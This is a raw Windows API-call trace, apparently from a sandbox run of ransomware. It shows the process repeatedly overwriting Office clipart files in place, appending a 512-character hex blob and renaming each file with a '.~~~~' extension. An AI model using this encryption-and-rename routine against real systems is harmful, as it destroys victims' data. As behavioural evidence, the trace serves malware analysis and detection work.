	[0090.857] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.857] WriteFile (in: hFile=0x124, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.858] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.858] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.858] CloseHandle (hObject=0x124) returned 1
	[0090.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0f30
	[0090.858] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf.~~~~")) returned 1
	[0090.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0f30 | out: hHeap=0x300000) returned 1
	[0090.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0090.859] GetLastError () returned 0x0
	[0090.859] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0090.860] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.860] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0090.860] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0090.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0090.860] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21085038538) returned 1
	[0090.860] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9fee59f0, dwHighDateTime=0x1d60e1e)) 
	[0090.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0090.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0090.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0090.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x381b20
	[0090.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x381b20 | out: hHeap=0x300000) returned 1
	[0090.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0f30
	[0090.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28718f8
	[0090.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0f30 | out: hHeap=0x300000) returned 1
	[0090.861] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0090.861] GetLastError () returned 0x0
	[0090.861] GetLastError () returned 0x0
	[0090.861] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0090.861] GetLastError () returned 0x0
	[0090.861] GetLastError () returned 0x0
	[0090.944] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffc61c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.945] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x39e4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x39e4, lpOverlapped=0x0) returned 1
	[0090.945] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0090.945] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.945] WriteFile (in: hFile=0x124, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.945] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.945] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.946] CloseHandle (hObject=0x124) returned 1
	[0090.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0090.946] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf.~~~~")) returned 1
	[0090.946] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0090.946] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0090.946] GetLastError () returned 0x0
	[0091.061] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x28d76f0) returned 1
	[0091.067] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.067] CryptReleaseContext (hProv=0x28d76f0, dwFlags=0x0) returned 1
	[0091.067] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.067] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21105732780) returned 1
	[0091.067] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa00fad30, dwHighDateTime=0x1d60e1e)) 
	[0091.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x382178
	[0091.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.067] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x382178 | out: hHeap=0x300000) returned 1
	[0091.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3834a8
	[0091.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.068] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.068] GetLastError () returned 0x0
	[0091.068] GetLastError () returned 0x0
	[0091.068] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.068] GetLastError () returned 0x0
	[0091.068] GetLastError () returned 0x0
	[0091.093] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffff7e0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.093] WriteFile (in: hFile=0x134, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x26dfec0*=0x820, lpOverlapped=0x0) returned 1
	[0091.093] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0091.093] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.093] WriteFile (in: hFile=0x134, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.094] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.094] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.094] CloseHandle (hObject=0x134) returned 1
	[0091.094] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.094] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf.~~~~")) returned 1
	[0091.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.095] GetLastError () returned 0x0
	[0091.095] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x28d76f0) returned 1
	[0091.096] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.096] CryptReleaseContext (hProv=0x28d76f0, dwFlags=0x0) returned 1
	[0091.096] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.096] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21108612923) returned 1
	[0091.096] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa0120e90, dwHighDateTime=0x1d60e1e)) 
	[0091.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3821b0
	[0091.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.096] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3821b0 | out: hHeap=0x300000) returned 1
	[0091.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.096] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.096] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x382a90
	[0091.096] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.097] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.175] GetLastError () returned 0x0
	[0091.175] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.175] GetLastError () returned 0x0
	[0091.177] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffff6ec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.177] WriteFile (in: hFile=0x134, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x914, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x914, lpOverlapped=0x0) returned 1
	[0091.178] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.178] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.178] WriteFile (in: hFile=0x134, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.178] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.178] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.178] CloseHandle (hObject=0x134) returned 1
	[0091.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d17b8
	[0091.180] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf.~~~~")) returned 1
	[0091.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.208] GetLastError () returned 0x0
	[0091.218] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.219] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.219] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.219] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21120945378) returned 1
	[0091.219] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa0251990, dwHighDateTime=0x1d60e1e)) 
	[0091.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x382530
	[0091.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x382530 | out: hHeap=0x300000) returned 1
	[0091.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d17b8
	[0091.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3841b8
	[0091.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.220] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.220] GetLastError () returned 0x0
	[0091.220] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.220] GetLastError () returned 0x0
	[0091.222] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffbc64, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.222] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x439c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x439c, lpOverlapped=0x0) returned 1
	[0091.222] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.222] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.222] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.222] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.222] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.222] CloseHandle (hObject=0x128) returned 1
	[0091.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1908
	[0091.223] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf.~~~~")) returned 1
	[0091.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.223] GetLastError () returned 0x0
	[0091.224] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.225] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.225] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.225] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.225] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21121487427) returned 1
	[0091.225] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa0277af0, dwHighDateTime=0x1d60e1e)) 
	[0091.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x382568
	[0091.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.225] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x382568 | out: hHeap=0x300000) returned 1
	[0091.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.225] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1908
	[0091.225] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x384120
	[0091.225] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.225] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.225] GetLastError () returned 0x0
	[0091.225] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.225] GetLastError () returned 0x0
	[0091.227] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffed12, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.227] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x12ee, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x12ee, lpOverlapped=0x0) returned 1
